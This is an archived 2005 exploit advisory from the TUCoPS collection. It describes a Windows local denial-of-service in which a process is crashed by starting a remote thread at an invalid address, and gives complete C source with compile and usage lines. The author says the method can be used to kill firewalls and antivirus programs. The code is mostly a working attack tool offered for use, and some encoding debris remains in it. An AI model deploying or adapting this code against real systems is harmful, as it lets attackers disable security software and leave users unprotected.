TUCoPS :: Windows Apps :: v7-2040.htm

Microsoft Windows CreateRemoteThread Exploit
Microsoft Windows CreateRemoteThread Exploit
Microsoft Windows CreateRemoteThread Exploit



Microsoft Windows CreateRemoteThread Exploit
name : nima Salehi
email : Q7X@ashiyane.com 
web site : www.Ashiyane.com www.Ashiyane.net 
Copyright (c) 2002-2005 Ashiyane Digital Securty Team
  ---------------------------------------------------------------------
Systems Affected:
    - Windows XP (all SP)
    - Windows 2000 PRO (all SP)
    - Windows 2000 Server (all SP)
    - Windows 2000 AdvServer (all SP)
    - Windows 2003 AdvServer (all SP)
---------------------------------------------------------------------
  Description:
   when the one process open with  OpenProcess function and use CreateRemoteThread(Process,0,0,x,0,0,0) then the process crash.
   an example hackers can use this method for kill firewalls and antiviruses
   sorry for poor english
 ---------------------------------------------------------------------
  Exploit :


#include 
#include 
#include 

BOOL exploit(char* chProcessName)
{
    
	HANDLE hProcessSnap = NULL;
   
	HANDLE hProcess = NULL;
    
	BOOL bFound = FALSE;
    
	BOOL bRet = FALSE;
   
	PROCESSENTRY32 pe32 = {0};
   
	UINT uExitCode = 0;
   
	DWORD dwExitCode = 0;
   
	LPDWORD lpExitCode = &dwExitCode;
 
     
    
=09
=09
	hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  
    if (hProcessSnap == INVALID_HANDLE_VALUE)
    return (FALSE);

   pe32.dwSize = sizeof(PROCESSENTRY32);
  
    printf("\n[+] Search For Process ... \n");
  
=09
   while(!bFound && Process32Next(hProcessSnap, &pe32))
   {
       if(lstrcmpi(pe32.szExeFile, chProcessName) == 0)
           bFound = TRUE;
  
   }      
   
   CloseHandle(hProcessSnap);

   if(!bFound){
      
	   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 
    FOREGROUND_RED| FOREGROUND_INTENSITY)	   ;
	 
	   
	   printf("[-] Sorry Process Not Find \n");
   
	   return(FALSE);
 
  }
   printf("[+] Process Find \n");
  
   hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
   
   
   if(hProcess == NULL){
   
   
   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 
    FOREGROUND_RED| FOREGROUND_INTENSITY)	   ;
=09
   
   printf("[-] Sorry Write Access Denied for This Process \n");
   printf("[-] Exploit Failed  :( \n");

   return(FALSE);
   }
   

   printf("[+] Write Access Is allowed \n");
   
   printf("[+] Send Exploit To Process ...\n");
  
   CreateRemoteThread(hProcess,0,0,(DWORD (__stdcall *)(void *))100,0,0,0);
  
   printf("[+] Successful  :)\n");
   

   return(pe32.th32ProcessID);
}

int main(int argc,char **argv)
{
char* chProcess = argv[1];
   
       COORD coordScreen = { 0, 0 }; 
   DWORD cCharsWritten; 
    CONSOLE_SCREEN_BUFFER_INFO csbi; 
    DWORD dwConSize; 
    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);

    GetConsoleScreenBufferInfo(hConsole, &csbi); 
    dwConSize = csbi.dwSize.X * csbi.dwSize.Y; 
    FillConsoleOutputCharacter(hConsole, TEXT(' '), dwConSize, 
        coordScreen, &cCharsWritten); 
    GetConsoleScreenBufferInfo(hConsole, &csbi); 
    FillConsoleOutputAttribute(hConsole, csbi.wAttributes, dwConSize, 
        coordScreen, &cCharsWritten); 
    SetConsoleCursorPosition(hConsole, coordScreen); 

   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 
    FOREGROUND_GREEN| FOREGROUND_INTENSITY)	   ;


   if(argc < 2) {
		  

	printf("\n");	   
    printf("  ==========================================================================   \n");
	printf("  >              Microsoft Windows CreateRemoteThread Exploit              <   \n");
printf(" > BUG Find By Q7X ( Nima Salehi ) Q7X@Ashiyane.com < \n"); 
  
printf(" > Exploited By Q7X ( Nima Salehi ) Q7X@Ashiyane.com < \n"); 
         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 
    FOREGROUND_RED | FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);

=09
    printf("  >  Compile   : cl -o nima.c   ( Win32/VC++ )                             <   \n");=09
    
	printf("  >  Usage     : nima.exe  Process                                         <   \n");
	printf("  >  Example   : nima.exe  explorer.exe                                    <   \n");
	printf("  >  Tested on : Windows XP (SP0 ,SP1 ,SP2) , Windows 2000 AdvServer (SP4) <   \n");
    printf("  >              Windows 2000 Server (SP4), Windows 2003 (SP0 , SP1)       <   \n");
   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 
    FOREGROUND_RED| FOREGROUND_INTENSITY)	   ;
=09
	printf("  >     Copyright 2002-2005 By Ashiyane Digital Network Security Team      <   \n");=09
printf(" > www.Ashiyane.com ( Free ) www.Ashiyane.net ( Not Free ) < \n");=09 

	printf("  >              Special Tanx To My Best Friend Behrooz_Ice                <   \n");=09
    
	printf("  ==========================================================================  \n");
   
 
  } 
    else

  exploit(chProcess);
   




 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 
    FOREGROUND_RED |FOREGROUND_GREEN|FOREGROUND_BLUE);


}

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH